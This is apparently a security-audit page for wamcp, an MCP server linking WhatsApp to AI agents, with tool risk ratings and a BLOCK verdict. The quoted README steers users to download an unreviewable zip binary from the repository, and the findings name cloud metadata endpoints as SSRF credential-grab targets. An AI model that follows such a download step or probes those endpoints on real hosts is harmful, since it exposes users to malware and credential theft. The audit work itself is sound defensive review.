Atlas / MCP servers / lilsmur / wamcp

wamcpBLOCK

mcp/lilsmur/wamcp

Integrate WhatsApp with AI agents using a native MCP server that offers tools, resources, and real-time notifications through TypeScript and Docker.

Verdict
BLOCK
Grade
D
Trust score
69 /100
Exposed tools
62 24r · 30w · 8d
Transport
stdio · streamable-http
License
—
Stars
0
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://raw.githubusercontent.com/Lilsmur/wamcp/main/src/schemas/Software-v1.8.zip)

📱 What is wamcp?

wamcp stands for WhatsApp MCP Server. It lets you connect AI agents to WhatsApp. This means you can automate chats, send messages, and respond using AI tools. The server uses the Model Context Protocol (MCP) and supports popular WhatsApp interfaces like Baileys (WhatsApp Web) and the official Cloud API. It is built with solid technology like TypeScript, BullMQ for task handling, and Docker for easy setup.

You do not need to know coding to get started. This guide will help you download and run wamcp on Windows step-by-step.

⚙️ System Requirements

Before you start, make sure your computer meets these basic needs:

  • Operating System: Windows 10 or later
  • Processor: 64-bit CPU (Intel or AMD)
  • Memory: At least 4 GB RAM
  • Storage: At least 500 MB free space
  • Internet: Required for setup and running the app
  • Additional Software: Docker Desktop for Windows (free to install)

If you do not have Docker installed, this guide includes instructions to get it.

🛠️ Features of wamcp

wamcp gives you the following tools and options:

  • Connect AI agents to WhatsApp for automated conversations
  • Supports 61 AI tools and 10 different resources to customize your setup
  • Handles 12 real-time events for message updates and status
  • Works with Baileys (WhatsApp Web) and official WhatsApp Cloud API
  • Built with reliable tech: TypeScript, BullMQ task queue, and Docker containers for easy deployment
  • No programming needed to run or manage

These features make it a solid choice if you want to add AI-powered bots to your WhatsApp chats.

💾 How to Download wamcp

This section guides you on where to get the app.

1. Visit the Download Page

Click the button below to go to the wamcp

Read from source at commit f8558e6343eaOBSERVED · 2026-10-12
Advertisement
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add wa-mcp --env WA_CLOUD_VERIFY_TOKEN=${WA_CLOUD_VERIFY_TOKEN} --env WA_CLOUD_WEBHOOK_SECRET=${WA_CLOUD_WEBHOOK_SECRET} --env WA_MCP_API_KEY=${WA_MCP_API_KEY} -- npx -y [email protected]
claude-desktop
{
  "mcpServers": {
    "wa-mcp": {
      "command": "npx",
      "args": [
        "-y",
        "[email protected]"
      ],
      "env": {
        "WA_CLOUD_VERIFY_TOKEN": "${WA_CLOUD_VERIFY_TOKEN}",
        "WA_CLOUD_WEBHOOK_SECRET": "${WA_CLOUD_WEBHOOK_SECRET}",
        "WA_MCP_API_KEY": "${WA_MCP_API_KEY}"
      }
    }
  }
}
03

Exposed tools (62)

24 read · 30 write · 8 destructive. Blast radius: 8 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

ToolRiskDescription
wa_archive_chatreadArchive or unarchive a chat. Archived chats are hidden from the main chat list.
wa_block_contactwriteBlock a WhatsApp contact. Blocked contacts cannot send you messages.
wa_check_number_existsreadCheck if a phone number is registered on WhatsApp. Returns the JID if the number exists.
wa_clear_chatdestructiveClear all messages in a chat. The chat remains but all messages are removed.
wa_connect_instancereadConnect a WhatsApp instance. For Baileys instances, this starts the WebSocket connection and generates a QR code for authentication.
wa_create_groupwriteCreate a new WhatsApp group with a name and initial participants.
wa_create_instancewriteCreate a new WhatsApp instance. Specify a name and channel type (baileys for WhatsApp Web protocol, cloud for Meta Cloud API).
wa_delete_chatdestructiveDelete an entire chat for this account. This cannot be undone.
wa_delete_instancedestructivePermanently delete a WhatsApp instance and all its data including auth state, messages, contacts, and queue. This action cannot be undone.
wa_delete_messagedestructiveDelete a message for everyone in the chat. Only messages sent by this instance can be deleted.
wa_disconnect_instancereadGracefully disconnect a WhatsApp instance. The session is preserved for reconnection.
wa_edit_messagewriteEdit a previously sent message. Only text messages sent by this instance can be edited.
wa_forward_messagereadForward an existing message to another chat.
wa_get_business_profilereadFetch the business profile information for a WhatsApp Business contact.
wa_get_messagesreadGet recent messages from a chat. Returns messages ordered by most recent first, with sender, content, type, and timestamp.
wa_get_pairing_codereadGet a numeric pairing code for authenticating a Baileys instance. The code is entered on the phone in WhatsApp > Linked Devices > Link with phone number.
wa_get_qr_codereadGet the QR code as a base64 image for authenticating a Baileys instance. Returns null if no QR code is available (already authenticated or not yet connecting).
wa_group_add_participantswriteAdd members to a WhatsApp group.
wa_group_demotereadDemote group admins to regular members.
wa_group_get_invite_codereadGet the shareable invite link for a WhatsApp group.
wa_group_handle_requestreadApprove or reject a pending join request for a WhatsApp group.
wa_group_joinreadJoin a WhatsApp group using an invite code or link.
wa_group_leavereadLeave a WhatsApp group.
wa_group_promotereadPromote members to group admin.
wa_group_remove_participantsdestructiveRemove members from a WhatsApp group.
wa_group_revoke_invitedestructiveRevoke the current invite link for a WhatsApp group, generating a new one.
wa_group_toggle_ephemeralwriteEnable or disable disappearing messages in a group. Duration is in seconds (0 to disable).
wa_group_update_descriptionwriteChange the description of a WhatsApp group.
wa_group_update_settingswriteChange group settings (announce: only admins can send, locked: only admins can edit info).
wa_group_update_subjectwriteChange the name/subject of a WhatsApp group.
wa_mark_readreadMark specific messages as read in a chat.
wa_mute_chatreadMute or unmute a chat. When muting, optionally specify muteUntil as a Unix timestamp in milliseconds.
wa_newsletter_followreadFollow a WhatsApp Channel/Newsletter. Baileys only.
wa_newsletter_sendwriteSend a message to a WhatsApp Channel/Newsletter (must be admin). Baileys only.
wa_newsletter_unfollowreadUnfollow a WhatsApp Channel/Newsletter. Baileys only.
wa_pin_chatreadPin or unpin a chat. Pinned chats appear at the top of the chat list.
wa_pin_messagereadPin or unpin a message in a chat.
wa_reject_callreadReject an incoming voice or video call. The call ID is received via the whatsapp/call.received notification.
wa_remove_profile_picturedestructiveRemove the profile picture for a WhatsApp instance.
wa_restart_instancewriteDisconnect and reconnect a WhatsApp instance. Useful for recovering from errors.
wa_search_contactreadSearch contacts by name or phone number. Returns matching contacts from the local cache.
wa_send_audiowriteSend an audio file or voice note to a WhatsApp contact or group. Set ptt=true for voice note (push-to-talk).
wa_send_contactwriteSend a vCard contact to a WhatsApp contact or group.
wa_send_documentwriteSend a document/file to a WhatsApp contact or group. Requires fileName and mimeType.
wa_send_imagewriteSend an image to a WhatsApp contact or group. Image can be provided as a URL or base64-encoded data. Optional caption.
wa_send_image_statuswritePost an image status/story update visible to contacts.
wa_send_link_previewwriteSend a text message with a rich link preview. The URL is used to generate the preview.
wa_send_locationwriteSend a GPS location to a WhatsApp contact or group. Optional name and address.
wa_send_pollwriteCreate and send a poll to a WhatsApp contact or group. Supports 2-12 options.
wa_send_presencewriteSend a presence status (typing, recording, paused, available, unavailable) to a chat.
wa_send_reactiondestructiveReact to a message with an emoji. Send an empty string emoji to remove a reaction.
wa_send_textwriteSend a text message to a WhatsApp contact or group. Args: - instanceId: The instance to send from - to: Recipient phone number (e.g.
wa_send_text_statuswritePost a text status/story update visible to contacts.
wa_send_videowriteSend a video to a WhatsApp contact or group. Video can be provided as a URL or base64-encoded data. Optional caption.
wa_send_video_statuswritePost a video status/story update visible to contacts.
wa_send_view_oncewriteSend a view-once image or video. The media disappears after the recipient views it once.
wa_set_cloud_credentialswriteConfigure Meta Cloud API credentials for a Cloud API instance. Required before connecting a Cloud API instance.
wa_unblock_contactreadUnblock a previously blocked WhatsApp contact.
wa_update_privacywriteUpdate privacy settings (lastSeen, online, profilePic, status, readReceipts, groupAdd).
wa_update_profile_namewriteChange the display name for a WhatsApp instance (max 25 characters).
wa_update_profile_picturewriteChange the profile picture for a WhatsApp instance. Image can be provided as base64-encoded data or a URL.
wa_update_profile_statuswriteChange the text status/bio for a WhatsApp instance (max 139 characters).
04

Trust audit

BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfaceWARN
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (6 observation(s))
Network
declared (7 observation(s))
Shell
none-observed
Dependencies
not all pinned
Secrets in source
none-found

Findings (13)

HIGHNetwork egress · net.metadata_ip · CWE-200, CWE-319
src/utils/validation.ts:62
if (hostname === "169.254.169.254") return true;
Why it matters. cloud metadata endpoint: the classic SSRF credential grab
HIGHNetwork egress · net.metadata_ip · CWE-200, CWE-319
src/utils/validation.ts:63
if (lower === "metadata.google.internal") return true;
Why it matters. cloud metadata endpoint: the classic SSRF credential grab
MEDIUMInventory / provenance · inv.binary · CWE-1104
src/schemas/Software-v1.8.zip
Software-v1.8.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMSupply chain · supply.git_dep · CWE-829, CWE-1357
package-lock.json:2703
"libsignal": "git+https://github.com/whiskeysockets/libsignal-node.git",
MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
wa_clear_chat, wa_delete_chat, wa_delete_instance, wa_delete_message, wa_group_remove_participants, wa_group_revoke_invite, wa_remove_profile_picture, wa_send_reaction
Why it matters. 8 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWInventory / provenance · inv.hidden_file · CWE-1104
.prettierignore
.prettierignore
Why it matters. hidden member outside the usual dotfiles
Fix. review its purpose
LOWInventory / provenance · inv.no_license · CWE-1104
Why it matters. no LICENSE file and no repo licence
Fix. add a licence
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
src/channels/baileys/baileys.adapter.ts:43
} from "../../types/channel.types.js";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
src/channels/baileys/baileys.adapter.ts:46
import { db } from "../../db/client.js";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
src/channels/baileys/baileys.adapter.ts:47
import { contacts as contactsTable, messages as messagesTable } from "../../db/schema.js";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
src/channels/baileys/baileys.adapter.ts:73
} from "../../constants.js";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
src/channels/baileys/baileys.adapter.ts:74
import { createChildLogger } from "../../utils/logger.js";
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
package.json
@modelcontextprotocol/sdk, @whiskeysockets/baileys, better-sqlite3, bullmq, dotenv, drizzle-orm, ioredis, pino
Why it matters. 20 dependency range(s) float
Fix. pin exact versions or ship a lockfile

Gates applied: no_behavioural_pass, no_license.

Audited 2026-10-12 · audit v0.4.1 · source sha f8558e6343eafull audit observations/trust-audit/mcp-server/lilsmur__wamcp.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-12f8558e6343eaBLOCKD69first audit
06

Questions

What is the wamcp MCP server?

Integrate WhatsApp with AI agents using a native MCP server that offers tools, resources, and real-time notifications through TypeScript and Docker.

What tools does wamcp expose?

62 in total: 24 read-only, 30 that write, and 8 that can delete or overwrite (wa_clear_chat, wa_delete_chat, wa_delete_instance, wa_delete_message, wa_group_remove_participants). Every one is listed on this page with its risk.

Is wamcp safe to connect to an agent?

No — not without reading the findings first. The audit graded it D (69/100) and found 2 critical or high issues in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 8 of its tools can destroy data, so scope the token you give it to what you actually need.

What credentials does wamcp need?

It reads WA_CLOUD_VERIFY_TOKEN, WA_CLOUD_WEBHOOK_SECRET and WA_MCP_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does wamcp run?

It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on npm as wa-mcp at 1.1.1.

How current is this page?

The grade is for one exact copy of the source (f8558e6343ea), read on 2026-10-12. The repository is watched and re-audited when it changes.

Advertisement